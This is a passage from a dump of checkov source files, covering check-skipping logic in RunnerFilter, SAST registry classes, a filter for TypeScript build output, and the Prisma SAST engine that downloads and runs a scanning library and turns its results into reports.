skip_check_threshold and severity.level <= skip_check_threshold.level\n        explicit_skip = self.skip_checks and self.check_matches(check_id, bc_check_id, self.skip_checks)\n        regex_match = self._match_regex_pattern(check_id, file_origin_paths, root_folder)\n        should_skip_check = (\n            skip_severity or\n            explicit_skip or\n            regex_match or\n            (not bc_check_id and not self.include_all_checkov_policies and not is_external and not explicit_run) or\n            (bc_check_id in self.suppressed_policies and bc_check_id not in self.bc_cloned_checks)\n        )\n        logging.debug(f'skip_severity = {skip_severity}, explicit_skip = {explicit_skip}, regex_match = {regex_match}, suppressed_policies: {self.suppressed_policies}')\n        logging.debug(\n            f'bc_check_id = {bc_check_id}, include_all_checkov_policies = {self.include_all_checkov_policies}, is_external = {is_external}, explicit_run: {explicit_run}')\n\n        if should_skip_check:\n            result = False\n            logging.debug(f'should_skip_check {check_id}: {should_skip_check}')\n        elif should_run_check:\n            result = True\n            logging.debug(f'should_run_check {check_id}: {result}')\n        else:\n            result = False\n            logging.debug(f'default {check_id}: {result}')\n\n        return result\n\n    def _match_regex_pattern(self, check_id: str, file_origin_paths: List[str] | None, root_folder: str | None) -> bool:\n        \"\"\"\n        Check if skip check_id for a certain file_types, according to given path pattern\n        \"\"\"\n        if not file_origin_paths:\n            return False\n        regex_patterns = self.skip_checks_regex_patterns.get(check_id, [])\n        # In case skip is generic, for example, CKV_AZURE_*.\n        generic_check_id = f\"{'_'.join(i for i in check_id.split('_')[:-1])}_*\"\n        generic_check_regex_patterns = self.skip_checks_regex_patterns.get(generic_check_id, [])\n        regex_patterns.extend(generic_check_regex_patterns)\n        if not regex_patterns:\n            return False\n\n        for pattern in regex_patterns:\n            if not pattern:\n                continue\n            full_regex_pattern = fr\"^{root_folder}/{pattern}\" if root_folder else pattern\n            try:\n                if any(re.search(full_regex_pattern, path) for path in file_origin_paths):\n                    return True\n            except Exception as exc:\n                logging.error(\n                    \"Invalid regex pattern has been supplied\",\n                    extra={\"regex_pattern\": pattern, \"exc\": str(exc)}\n                )\n\n        return False\n\n    @staticmethod\n    def check_matches(check_id: str,\n                      bc_check_id: Optional[str],\n                      pattern_list: List[str]) -> bool:\n        return any(\n            (fnmatch.fnmatch(check_id, pattern) or (bc_check_id and fnmatch.fnmatch(bc_check_id, pattern))) for pattern\n            in pattern_list)\n\n    def within_threshold(self, severity: Severity) -> bool:\n        above_min = (not self.check_threshold) or self.check_threshold.level <= severity.level\n        below_max = self.skip_check_threshold and self.skip_check_threshold.level >= severity.level\n        return above_min and not below_max\n\n    @staticmethod\n    def secret_validation_status_matches(secret_validation_status: str, statuses_list: list[str]) -> bool:\n        return secret_validation_status in statuses_list\n\n    @staticmethod\n    def notify_external_check(check_id: str) -> None:\n        RunnerFilter.__EXTERNAL_CHECK_IDS.add(check_id)\n\n    @staticmethod\n    def is_external_check(check_id: str) -> bool:\n        return check_id in RunnerFilter.__EXTERNAL_CHECK_IDS\n\n    def is_policy_filtered(self, check_id: str) -> bool:\n        if not self.filtered_policy_ids:\n            return True\n        return check_id in self.filtered_policy_ids\n\n    def is_policy_exception(self, check_id: str) -> bool:\n        if not self.filtered_exception_policy_ids:\n            return False\n        return check_id in self.filtered_exception_policy_ids\n\n    def to_dict(self) -> Dict[str, Any]:\n        result: Dict[str, Any] = {}\n        for key, value in self.__dict__.items():\n            result[key] = value\n        return result\n\n    @staticmethod\n    def from_dict(obj: Dict[str, Any]) -> RunnerFilter:\n        framework = obj.get('framework')\n        checks = obj.get('checks')\n        skip_checks = obj.get('skip_checks')\n        include_all_checkov_policies = obj.get('include_all_checkov_policies')\n        if include_all_checkov_policies is None:\n            include_all_checkov_policies = True\n        download_external_modules = obj.get('download_external_modules')\n        external_modules_download_path = obj.get('external_modules_download_path')\n        if external_modules_download_path is None:\n            external_modules_download_path = DEFAULT_EXTERNAL_MODULES_DIR\n        evaluate_variables = obj.get('evaluate_variables')\n        if evaluate_variables is None:\n            evaluate_variables = True\n        runners = obj.get('runners')\n        skip_framework = obj.get('skip_framework')\n        excluded_paths = obj.get('excluded_paths')\n        all_external = obj.get('all_external')\n        if all_external is None:\n            all_external = False\n        var_files = obj.get('var_files')\n        skip_cve_package = obj.get('skip_cve_package')\n        use_enforcement_rules = obj.get('use_enforcement_rules')\n        if use_enforcement_rules is None:\n            use_enforcement_rules = False\n        filtered_policy_ids = obj.get('filtered_policy_ids')\n        filtered_exception_policy_ids = obj.get('filtered_exception_policy_ids')\n        show_progress_bar = obj.get('show_progress_bar')\n        if show_progress_bar is None:\n            show_progress_bar = True\n        run_image_referencer = obj.get('run_image_referencer')\n        if run_image_referencer is None:\n            run_image_referencer = False\n        enable_secret_scan_all_files = bool(obj.get('enable_secret_scan_all_files'))\n        block_list_secret_scan = obj.get('block_list_secret_scan')\n        runner_filter = RunnerFilter(framework, checks, skip_checks, include_all_checkov_policies,\n                                     download_external_modules, external_modules_download_path, evaluate_variables,\n                                     runners, skip_framework, excluded_paths, all_external, var_files,\n                                     skip_cve_package, use_enforcement_rules, filtered_policy_ids, filtered_exception_policy_ids,\n                                     show_progress_bar, run_image_referencer, enable_secret_scan_all_files, block_list_secret_scan)\n        return runner_filter\n\n    def set_suppressed_policies(self, policy_level_suppressions: List[List[str]]) -> None:\n        logging.debug(f\"Received the following policy-level suppressions, that will be skipped from running: {policy_level_suppressions}\")\n        # flatten\n        self.suppressed_policies = [suppression for suppression_list in policy_level_suppressions for suppression in suppression_list]\n\n    @staticmethod\n    def get_sast_languages(frameworks: Optional[List[str]], skip_framework: Optional[List[str]]) -> Set[SastLanguages]:\n        langs: Set[SastLanguages] = set()\n        if not frameworks or (skip_framework and \"sast\" in skip_framework):\n            return langs\n        if 'all' in frameworks:\n            sast_languages = SastLanguages.set()\n            skip_framework = [] if not skip_framework else [f.split(\"sast_\")[-1] for f in skip_framework]\n            return set([lang for lang in sast_languages if lang.value not in skip_framework])\n        for framework in frameworks:\n            if framework in [CheckType.SAST, CheckType.CDK]:\n                for sast_lang in SastLanguages:\n                    langs.add(sast_lang)\n                return langs\n            if not framework.startswith(CheckType.SAST):\n                continue\n            lang = '_'.join(framework.split('_')[1:])\n            langs.add(SastLanguages[lang.upper()])\n        return langs\n"
  },
  {
    "path": "checkov/sast/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/sast/checks_infra/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/sast/checks_infra/base_check.py",
    "content": "from typing import Optional, List\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass BaseSastCheck:\n    def __init__(self, name: str, id: str, severity: Optional[Severity] = None) -> None:\n        self.name: str = name\n        self.id: str = id\n        self.categories: List[CheckCategories] = [CheckCategories.SAST]\n        # TODO\n        self.guideline: str = ''\n        self.severity: Optional[Severity] = severity\n        self.bc_id: str = ''\n"
  },
  {
    "path": "checkov/sast/checks_infra/base_registry.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\n\nfrom typing import List, Any, Optional, Dict\n\nfrom checkov.common.bridgecrew.check_type import CheckType\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.runner_filter import RunnerFilter\n\nlogger = logging.getLogger(__name__)\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self, checks_dir: str | None = None) -> None:\n        super().__init__(report_type=CheckType.SAST)\n        self.rules: List[Dict[str, Any]] = []\n        self.checks_dir = checks_dir\n        self.logger = logging.getLogger(__name__)\n        self.runner_filter: Optional[RunnerFilter] = None\n        self.checks_dirs_path: List[str] = [checks_dir] if checks_dir else []\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:\n        # TODO\n        return '', '', {}\n\n    def set_runner_filter(self, runner_filter: RunnerFilter) -> None:\n        self.runner_filter = runner_filter\n\n    def add_external_dirs(self, external_dirs: Optional[List[str]]) -> None:\n        if external_dirs:\n            for path in external_dirs:\n                if os.path.exists(path):\n                    if not os.path.isabs(path):\n                        path = os.path.abspath(path)\n                    self.checks_dirs_path.append(path)\n                else:\n                    logger.warning(f\"path: {path} not found\")\n"
  },
  {
    "path": "checkov/sast/checks_infra/registry.py",
    "content": "from checkov.sast.checks_infra.base_registry import Registry\nimport pathlib\nimport os\n\n\nchecks_dir = pathlib.Path(__file__).parent.resolve().parent.resolve()\nregistry = Registry(os.path.join(checks_dir, 'checks'))\n"
  },
  {
    "path": "checkov/sast/common.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Tuple\n\n\ndef get_code_block_from_start(lines: List[str], start: int) -> List[Tuple[int, str]]:\n    code_block = [(index, line) for index, line in enumerate(lines, start=start)]\n    return cut_code_block_ident(code_block)\n\n\ndef cut_code_block_ident(code_block: List[Tuple[int, str]]) -> List[Tuple[int, str]]:\n    min_ident = len(code_block[0][1]) - len(code_block[0][1].lstrip())\n    for item in code_block[1:]:\n        current_min_ident = len(item[1]) - len(item[1].lstrip())\n        if current_min_ident < min_ident:\n            min_ident = current_min_ident\n\n    if min_ident == 0:\n        return code_block\n\n    code_block_cut_ident = []\n    for item in code_block:\n        code_block_cut_ident.append((item[0], item[1][min_ident:]))\n    return code_block_cut_ident\n"
  },
  {
    "path": "checkov/sast/engines/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/sast/engines/base_engine.py",
    "content": "from abc import abstractmethod, ABC\nfrom typing import List, Set\nfrom checkov.common.output.report import Report\nfrom checkov.common.sast.consts import CDKLanguages, SastLanguages\nfrom checkov.sast.checks_infra.base_registry import Registry\n\n\nclass SastEngine(ABC):\n    @abstractmethod\n    def get_reports(self, targets: List[str], registry: Registry, languages: Set[SastLanguages], cdk_languages: List[CDKLanguages]) -> List[Report]:\n        pass\n"
  },
  {
    "path": "checkov/sast/engines/files_filter_manager.py",
    "content": "import logging\nimport os\nimport json\nfrom typing import Set, List, Dict\n\nfrom checkov.common.runners.base_runner import IGNORE_HIDDEN_DIRECTORY_ENV, ignored_directories\nfrom checkov.common.sast.consts import SastLanguages\n\n\nclass FilesFilterManager:\n    def __init__(self, source_codes: List[str], languages: Set[SastLanguages]) -> None:\n        self.source_codes: List[str] = source_codes\n        self.languages: Set[SastLanguages] = languages\n\n    def get_files_to_filter(self) -> List[str]:\n        files_to_filter: List[str] = []\n        try:\n            if SastLanguages.JAVASCRIPT in self.languages:\n                files_to_filter += self._get_js_files_to_filter()\n            files_to_filter += self._filter_hidden_files()\n        except Exception as e:\n            logging.debug(f'Error filtering js files generated by ts: {e}')\n        return files_to_filter\n\n    def _get_js_files_to_filter(self) -> List[str]:\n        js_files_to_filter = []\n\n        for path in self.source_codes:\n            js_files: List[Dict[str, str]] = []\n            ts_files: List[Dict[str, str]] = []\n            tsconfig_files: List[Dict[str, str]] = []\n            for (dirpath, _, filenames) in os.walk(path):\n                if '/node_modules/' in dirpath:\n                    continue\n                for filename in filenames:\n                    if filename.endswith('.ts'):\n                        ts_files.append({'full_path': os.sep.join([dirpath, filename]), 'dir': dirpath, 'name': filename})\n                    if filename.endswith('tsconfig.json'):\n                        tsconfig_files.append({'full_path': os.sep.join([dirpath, filename]), 'dir': dirpath, 'name': filename})\n                    if filename.endswith('.js'):\n                        js_files.append({'full_path': os.sep.join([dirpath, filename]), 'dir': dirpath, 'name': filename})\n\n            js_files_to_filter += FilesFilterManager._filter_by_tsconfig(tsconfig_files)\n            js_files_to_filter += FilesFilterManager._filter_direct_build_js(js_files, ts_files, js_files_to_filter)\n\n        return js_files_to_filter\n\n    @staticmethod\n    def _filter_direct_build_js(js_files: List[Dict[str, str]], ts_files: List[Dict[str, str]], filtered_by_tsconfig: List[str]) -> List[str]:\n        js_files_to_filter: List[str] = []\n        for js_file in js_files:\n            js_dir = js_file.get('dir', '')\n            already_skipped = False\n            for filtered_by_tsconfig_path in filtered_by_tsconfig:\n                if js_dir.startswith(filtered_by_tsconfig_path):\n                    already_skipped = True\n                    break\n            if already_skipped:\n                continue\n            for ts_file in ts_files:\n                if ts_file.get('dir', '') == js_dir and ts_file.get('name', '')[:-3] == js_file.get('name', '')[:-3]:\n                    js_files_to_filter.append(js_file.get('full_path', ''))\n                    break\n        return js_files_to_filter\n\n    @staticmethod\n    def _filter_by_tsconfig(tsconfig_files: List[Dict[str, str]]) -> List[str]:\n        js_files_to_filter: List[str] = []\n        for tsconfig_file in tsconfig_files:\n            with open(tsconfig_file.get('full_path', '')) as fp:\n                config = json.load(fp)\n            out_dir = config.get('compilerOptions', {}).get('outDir')\n            out_file = config.get('compilerOptions', {}).get('outFile')\n            if out_dir:\n                build_dir = out_dir\n            elif out_file:\n                build_dir = out_file\n            else:\n                build_dir = tsconfig_file.get('dir')\n\n            # relative path\n            if not build_dir.startswith('/'):\n                build_path = os.path.abspath(tsconfig_file.get('dir', '') + '/' + build_dir)\n            # absolute path\n            else:\n                build_path = build_dir\n            js_files_to_filter.append(build_path)\n        return js_files_to_filter\n\n    def _filter_hidden_files(self) -> List[str]:\n        # consider ENV variable to ignore hidden directories (CKV_IGNORED_DIRECTORIES, CKV_IGNORE_HIDDEN_DIRECTORIES)\n        paths_to_filter: List[str] = ignored_directories.copy()\n        if not IGNORE_HIDDEN_DIRECTORY_ENV:\n            return paths_to_filter\n        for path in self.source_codes:\n            for (_dirpath, dirs, _) in os.walk(path):\n                for directory in dirs:\n                    if directory.startswith('.'):\n                        paths_to_filter.append(directory)\n\n        return paths_to_filter\n"
  },
  {
    "path": "checkov/sast/engines/prisma_engine.py",
    "content": "import ctypes\nimport subprocess  # nosec\nimport sys\nfrom datetime import datetime\nimport json\nimport logging\nimport os\nimport platform\nimport re\nimport stat\nfrom pathlib import Path\nfrom typing import Optional, List, Set, Union, Dict, Any, Tuple, cast\n\nfrom cachetools import cached, TTLCache\nfrom pydantic import ValidationError\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as policy_metadata_integration\nfrom checkov.common.bridgecrew.platform_key import bridgecrew_dir\nfrom checkov.common.bridgecrew.severities import get_severity, Severity, Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.report import Report\nfrom checkov.common.sast.consts import CDKLanguages, SastLanguages\nfrom checkov.common.sca.reachability.sast_contract.data_fetcher_sast_lib import SastReachabilityDataFetcher\nfrom checkov.common.typing import _CheckResult\nfrom checkov.common.util.http_utils import request_wrapper\nfrom checkov.sast.checks_infra.base_registry import Registry\nfrom checkov.sast.common import get_code_block_from_start\nfrom checkov.sast.engines.base_engine import SastEngine\nfrom checkov.sast.prisma_models.library_input import LibraryInput\nfrom checkov.sast.prisma_models.policies_list import SastPolicies\nfrom checkov.common.sast.consts import CDK_FRAMEWORK_PREFIX\nfrom checkov.common.sast.report_types import PrismaReport, RuleMatch, create_empty_report\nfrom checkov.sast.record import SastRecord\nfrom checkov.sast.report import SastReport\nfrom checkov.cdk.report import CDKReport\nfrom checkov.sast.engines.files_filter_manager import FilesFilterManager\n\nlogger = logging.getLogger(__name__)\n\nREPORT_PARSING_ERRORS = \"report_parsing_errors\"\nFILE_NAME_PATTERN = re.compile(r\"(\\d+_\\d+_\\d+)_library\\.(so|dll|dylib)\")\nSAST_CORE_FILENAME_PATTERN = re.compile(rf\"{FILE_NAME_PATTERN.pattern}$\")\nSAST_CORE_URL_PATTERN = re.compile(rf\".*/(?P<name>v?{FILE_NAME_PATTERN.pattern})\\?.*\")\n\n\nclass PrismaEngine(SastEngine):\n    def __init__(self) -> None:\n        self.lib_path = \"\"\n        self.winmode = sys.platform.startswith('win')\n        self.check_type = CheckType.SAST\n        self.prisma_sast_dir_path = Path(bridgecrew_dir) / \"sast\"\n        self.sast_platform_base_path = \"api/v1/sast\"\n        self.enable_inline_suppressions = os.getenv(\"ENABLE_SAST_INLINE_SUPPRESSIONS\", False)\n\n    def get_check_thresholds(self, registry: Registry) -> Tuple[Severity, Severity]:\n        \"\"\"\n        Returns a tuple of check threshold and skip check threshold..\n\n        If a severity was specified in --check and / or --skip-check, then return a tuple of those values (these override enforcement rules).\n        Else if enforcement rules are enabled, return a tuple of the enforcement rule's SAST soft fail threshold and NONE.\n        Else return a tuple of NONE, NONE\n        \"\"\"\n        none = Severities[BcSeverities.NONE]\n\n        check_threshold: Optional[Severity] = registry.runner_filter.check_threshold  # type:ignore[union-attr] # not null\n        skip_check_threshold: Optional[Severity] = registry.runner_filter.skip_check_threshold  # type:ignore[union-attr] # not null\n        enforcement_threshold: Optional[Severity] = cast(Severity, registry.runner_filter.enforcement_rule_configs[self.check_type]) if registry.runner_filter.use_enforcement_rules else None  # type:ignore[union-attr] # not null\n\n        return (check_threshold or none, skip_check_threshold or none) if (check_threshold or skip_check_threshold) else \\\n            (enforcement_threshold, none) if enforcement_threshold else \\\n            (none, none)\n\n    def get_reports(self, targets: List[str], registry: Registry, languages: Set[SastLanguages], cdk_languages: List[CDKLanguages]) -> List[Report]:\n        if not bc_integration.bc_api_key:\n            logging.info(\"The --bc-api-key flag needs to be set to run SAST Prisma Cloud scanning\")\n            return []\n\n        status = self.setup_sast_artifact()\n        if not status:\n            return []\n\n        prisma_lib_path = self.get_sast_artifact()\n        if not prisma_lib_path:\n            return []\n\n        self.lib_path = str(prisma_lib_path)\n\n        check_threshold, skip_check_threshold = self.get_check_thresholds(registry)\n\n        skip_paths = registry.runner_filter.excluded_paths if registry.runner_filter else []\n\n        files_filter_manager = FilesFilterManager(targets, languages)\n        skip_paths += files_filter_manager.get_files_to_filter()\n\n        library_input: LibraryInput = {\n            'languages': languages,\n            'source_codes': targets,\n            'policies': registry.checks_dirs_path,\n            'checks': registry.runner_filter.checks if registry.runner_filter else [],\n            'skip_checks': registry.runner_filter.skip_checks if registry.runner_filter else [],\n            'check_threshold': check_threshold,\n            'skip_check_threshold': skip_check_threshold,\n            'platform_check_metadata': policy_metadata_integration.sast_check_metadata or {},\n            'skip_path': skip_paths,\n            'report_imports': registry.runner_filter.report_sast_imports if registry.runner_filter else False,\n            'remove_default_policies': registry.runner_filter.remove_default_sast_policies if registry.runner_filter else False,\n            'report_reachability': registry.runner_filter.report_sast_reachability if registry.runner_filter else False,\n            'cdk_languages': cdk_languages\n        }\n        prisma_result = self.run_go_library(**library_input)\n\n        return prisma_result\n\n    def setup_sast_artifact(self) -> bool:\n        current_version = \"\"\n        if not self.prisma_sast_dir_path.exists():\n            try:\n                os.makedirs(self.prisma_sast_dir_path, exist_ok=True)\n            except FileExistsError:\n                pass\n        else:\n            is_file_exists = [f for f in os.listdir(self.prisma_sast_dir_path) if\n                              (self.prisma_sast_dir_path / f).is_file() and \"library\" in f]\n            if len(is_file_exists) > 0:\n                latest_file = os.path.join(self.prisma_sast_dir_path, is_file_exists[0])\n                creation_time = os.path.getmtime(latest_file)\n                now = datetime.now().timestamp()\n                diff = datetime.fromtimestamp(now) - datetime.fromtimestamp(creation_time)\n                if diff.days < 1:\n                    match = re.search(SAST_CORE_FILENAME_PATTERN, latest_file)\n                    if match:\n                        current_version = match.groups()[0]\n\n        if os.getenv(\"SAST_ARTIFACT_PATH\"):\n            logging.debug(f'using local artifact in path {os.getenv(\"SAST_ARTIFACT_PATH\")}')\n            return True\n        status: bool = self.download_sast_artifacts(current_version)\n\n        return status\n\n    @cached(TTLCache(maxsize=1, ttl=300))\n    def download_sast_artifacts(self, current_version: str) -> bool:\n        try:\n            machine = get_machine()\n            os_type = platform.system().lower()\n            headers = bc_integration.get_default_headers(\"GET\")\n            headers[\"X-Client-Sast-Version\"] = current_version\n            headers[\"X-Required-Sast-Version\"] = \"latest\"  # or ant version separated with _\n\n            # don't use the 'should_call_raise_for_status' parameter for now, because it logs errors messages\n            response = request_wrapper(\n                method=\"GET\",\n                url=f\"{bc_integration.api_url}/{self.sast_platform_base_path}/{os_type}/{machine}/artifacts\",\n                headers=headers,\n            )\n            response.raise_for_status()\n\n            if response.status_code == 304:\n                return True\n\n            match = re.match(SAST_CORE_URL_PATTERN, response.url)\n            if match:\n                new_name = match.group('name')\n                cli_file_name_path = self.prisma_sast_dir_path / new_name\n                self._cleanup_scan()\n                cli_file_name_path.touch(exist_ok=True)\n                cli_file_name_path.write_bytes(response.content)\n                cli_file_name_path.chmod(cli_file_name_path.stat().st_mode | stat.S_IEXEC | stat.S_IREAD)\n                logging.debug(\"sast artifacts downloaded\")\n            return True\n        except Exception:\n            logging.debug(\n                \"Unexpected failure happened during downloading sast artifact. details are below.\\n\"\n                \"scanning is terminating. please try again. if it is repeated, please report.\\n\", exc_info=True)\n            return False\n\n    def _cleanup_scan(self) -> None:\n        if self.prisma_sast_dir_path.exists():\n            for file in os.scandir(self.prisma_sast_dir_path):\n                os.unlink(file.path)\n            # shutil.rmtree(self.prisma_sast_dir_path)\n            logging.info('sast dir is clear')\n        else:\n            self.prisma_sast_dir_path.mkdir(exist_ok=True)\n\n    def get_sast_artifact(self) -> Optional[Path]:\n        env_variable_path = os.getenv(\"SAST_ARTIFACT_PATH\")\n        if env_variable_path and os.path.isfile(env_variable_path):\n            return Path(env_variable_path)\n\n        files = [(self.prisma_sast_dir_path / f) for f in os.listdir(self.prisma_sast_dir_path) if\n                 (self.prisma_sast_dir_path / f).is_file() and \"library\" in f]\n\n        if len(files) == 0:\n            return None\n\n        return files[0]\n\n    def run_go_library(self, languages: Set[SastLanguages],\n                       source_codes: List[str],\n                       policies: List[str],\n                       checks: List[str],\n                       skip_checks: List[str],\n                       skip_path: List[str],\n                       check_threshold: Severity,\n                       skip_check_threshold: Severity,\n                       platform_check_metadata: Dict[str, Any],\n                       cdk_languages: List[CDKLanguages],\n                       list_policies: bool = False,\n                       report_imports: bool = True,\n                       report_reachability: bool = False,\n                       remove_default_policies: bool = False) -> Union[List[Report], SastPolicies]:\n\n        validate_params(languages, source_codes, list_policies)\n\n        if bc_integration.bc_source:\n            name = bc_integration.bc_source.name\n        else:\n            name = \"unknown\"\n\n        reachability_data = None\n        if report_reachability or report_imports:\n            # TODO - run sast-core per src\n            for source_code in source_codes:\n                reachability_data = get_reachability_data(source_code)\n\n        document = {\n            \"scan_code_params\": {\n                \"source_codes\": source_codes,\n                \"policies\": policies,\n                \"languages\": [a.value for a in languages],\n                \"checks\": checks,\n                \"skip_checks\": skip_checks,\n                \"skip_path\": skip_path,\n                \"check_threshold\": str(check_threshold),\n                \"skip_check_threshold\": str(skip_check_threshold),\n                \"platform_check_metadata\": platform_check_metadata,\n                \"list_policies\": list_policies,\n                \"report_imports\": report_imports,\n                \"remove_default_policies\": remove_default_policies,\n                \"report_reachability\": report_reachability,\n                \"reachability_data\": reachability_data,\n                \"cdk_languages\": [a.value for a in cdk_languages]\n            },\n            \"auth\": {\n                \"api_key\": bc_integration.get_auth_token(),\n                \"platform_url\": bc_integration.api_url,\n                \"client_name\": name,\n                \"version\": bc_integration.bc_source_version\n            }\n        }\n\n        if list_policies:\n            return self.run_go_library_list_policies(document)\n\n        if self.winmode:\n            sast_report = self._windows_sast_scan(document)\n        else:\n            sast_report = self._sast_default_scan(document)\n        try:\n            result = self.create_prisma_report(sast_report)\n        except ValidationError as e:\n            result = create_empty_report(list(languages))\n            result.errors = {REPORT_PARSING_ERRORS: [str(err) for err in e.errors()]}\n        return self.create_report(result)\n\n    def _sast_default_scan(self, sast_input: Dict[str, Any]) -> Dict[str, Any]:\n        library = ctypes.cdll.LoadLibrary(self.lib_path)\n        analyze_code = library.analyzeCode\n        analyze_code.restype = ctypes.c_void_p\n        # send the document as a byte array of json format\n        analyze_code_output = analyze_code(json.dumps(sast_input).encode('utf-8'))\n        # we dereference the pointer to a byte array\n        analyze_code_bytes = ctypes.string_at(analyze_code_output)\n        # convert our byte array to a string\n        analyze_code_string = analyze_code_bytes.decode('utf-8')\n        return json.loads(analyze_code_string)  # type: ignore\n\n    def _windows_sast_scan(self, sast_input: Dict[str, Any]) -> Dict[str, Any]:\n        lib_dir_path = f\"{os.path.dirname(self.lib_path)}\"\n        checkov_input_path = os.path.join(lib_dir_path, \"checkov_input.json\")\n        sast_output_path = os.path.join(lib_dir_path, \"sast_output.json\")\n        with open(checkov_input_path, 'w') as f:\n            f.write(json.dumps(sast_input))\n        callargs = [self.lib_path, checkov_input_path, sast_output_path]\n        subprocess.run(callargs, env={\"LOG_LEVEL\": os.getenv(\"LOG_LEVEL\", \"INFO\")})  # nosec B603\n\n        with open(sast_output_path, 'r', encoding='utf-8') as f:\n            report = f.read()\n        parsed_report = json.loads(report)\n        # cleanup\n        os.remove(checkov_input_path)\n        os.remove(sast_output_path)\n        return parsed_report  # type: ignore\n\n    def create_prisma_report(self, data: Dict[str, Any]) -> PrismaReport:\n        if not data.get(\"imports\"):\n            data[\"imports\"] = {}\n        if not data.get(\"reachability_report\"):\n            data[\"reachability_report\"] = {}\n\n        self.remove_none_conf_incidents_policies(data)\n\n        return PrismaReport(**data)\n\n    @staticmethod\n    def remove_none_conf_incidents_policies(data: Dict[str, Any]) -> None:\n        remove_list = []  # type: ignore\n        for lang, match in data.get('rule_match', dict()).items():\n            for check in match.keys():\n                if bc_integration.customer_run_config_response:\n                    if check not in bc_integration.customer_run_config_response.get('policyMetadata', []):\n                        remove_list.append((lang, check))\n\n        for lang, check in remove_list:\n            del data['rule_match'][lang][check]\n\n    def run_go_library_list_policies(self, document: Dict[str, Any]) -> SastPolicies:\n        try:\n            library = ctypes.cdll.LoadLibrary(self.lib_path)\n            list_policies = library.listPolicies\n            list_policies.restype = ctypes.c_void_p\n\n            # send the document as a byte array of json format\n            list_policies_output = list_policies(json.dumps(document).encode('utf-8'))\n\n            # we dereference the pointer to a byte array\n            list_policies_bytes = ctypes.string_at(list_policies_output)\n\n            # convert our byte array to a string\n            list_policies_string = list_policies_bytes.decode('utf-8')\n\n            d = json.loads(list_policies_string)\n        except Exception as e:\n            logging.error(e)\n            return {}\n\n        try:\n            return SastPolicies(**d)\n        except ValidationError:\n            if d.get('errors'):\n                logging.error(d.get('errors'))\n            return {}\n\n    def create_report(self, prisma_report: PrismaReport) -> List[Union[SastReport, CDKReport]]:\n        logging.debug(\"Printing Prisma-SAST profiling data\")\n        logging.debug(prisma_report.profiler)\n        reports: List[SastReport] = []\n        for lang, checks in prisma_report.rule_match.items():\n            sast_report = PrismaReport(rule_match={lang: checks}, errors=prisma_report.errors, profiler=prisma_report.profiler,\n                                       run_metadata=prisma_report.run_metadata, imports={}, reachability_report={},\n                                       skipped_checks_by_file=prisma_report.skipped_checks_by_file)\n            report = SastReport(f'{self.check_type.lower()}_{lang.value}', prisma_report.run_metadata, lang, sast_report)\n            for check_id, match_rule in checks.items():\n                check_name = match_rule.check_name\n                check_cwe = match_rule.check_cwe\n                check_owasp = match_rule.check_owasp\n                severity = get_severity(match_rule.severity)\n\n                for match in match_rule.matches:\n                    location = match.location\n                    file_abs_path = location.path\n                    file_path = file_abs_path.split('/')[-1]\n                    file_line_range = [location.start.row, location.end.row]\n                    split_code_block = [line + '\\n' for line in location.code_block.split('\\n')]\n                    code_block = get_code_block_from_start(split_code_block, location.start.row)\n                    metadata = match.metadata\n\n                    if self.enable_inline_suppressions and any(skipped_check.check_id == match_rule.check_id for skipped_check in prisma_report.skipped_checks_by_file.get(file_abs_path, [])):\n                        check_result = _CheckResult(\n                            result=CheckResult.SKIPPED,\n                            suppress_comment=next(skipped_check.suppress_comment for skipped_check in prisma_report.skipped_checks_by_file.get(file_abs_path, []) if skipped_check.check_id == match_rule.check_id))\n                    else:\n                        check_result = _CheckResult(result=CheckResult.FAILED)\n                    record = SastRecord(check_id=check_id, check_name=check_name, resource=\"\", evaluations={},\n                                        check_class=\"\", check_result=check_result, code_block=code_block,\n                                        file_path=file_path, file_line_range=file_line_range, metadata=metadata,\n                                        file_abs_path=file_abs_path, severity=severity, cwe=check_cwe,\n                                        owasp=check_owasp, show_severity=True)\n                    report.add_record(record)\n            report_parsing_errors = prisma_report.errors.get(REPORT_PARSING_ERRORS)\n            if report_parsing_errors:\n                report.add_parsing_errors(report_parsing_errors)\n            reports.append(report)\n\n        for lang in prisma_report.imports:\n            for report in reports:\n                if report.language == lang:\n                    report.sast_imports = prisma_report.imports[lang]\n                    break\n            else:\n                sast_report = PrismaReport(rule_match={lang: {}}, errors=prisma_report.errors, profiler=prisma_report.profiler,\n                                           run_metadata=prisma_report.run_metadata, imports={}, reachability_report={},\n                                           skipped_checks_by_file={})\n                report = SastReport(f'{self.check_type.lower()}_{lang.value}', prisma_report.run_metadata, lang, sast_report)\n                report.sast_imports = prisma_report.imports[lang]\n                reports.append(report)\n\n        for lang in prisma_report.reachability_report:\n            for report in reports:\n                if report.language == lang:\n                    report.sast_reachability = prisma_report.reachability_report[lang]\n                    break\n            else:\n                sast_report = PrismaReport(rule_match={lang: {}}, errors=prisma_report.errors, profiler=prisma_report.profiler,\n                                           run_metadata=prisma_report.run_metadata, imports={}, reachability_report={},\n                                           skipped_checks_by_file={})\n                report = SastReport(f'{self.check_type.lower()}_{lang.value}', prisma_report.run_metadata, lang, sast_report)\n                report.sast_reachability = prisma_report.reachability_report[lang]\n                reports.append(report)\n\n        all_report = self._split_sast_cdk_reports(reports)\n        return all_report\n\n    def _split_sast_cdk_reports(self, sast_reports: List[SastReport]) -> List[Union[SastReport, CDKReport]]:\n        cdk_reports: List[CDKReport] = []\n        for report in sast_reports:\n            for lang, rule_matches in report.sast_report.rule_match.items():\n                sast_rule_matches: Dict[str, RuleMatch] = {}\n                for policy_id, rule_match in rule_matches.items():\n                    if rule_match.metadata.framework != CDK_FRAMEWORK_PREFIX:  # type: ignore\n                        sast_rule_matches[policy_id] = rule_match\n                        continue\n                    self._update_cdk_report(lang, cdk_reports, report, policy_id, rule_match)\n\n                if sast_rule_matches:\n                    report.sast_report.rule_match[lang] = 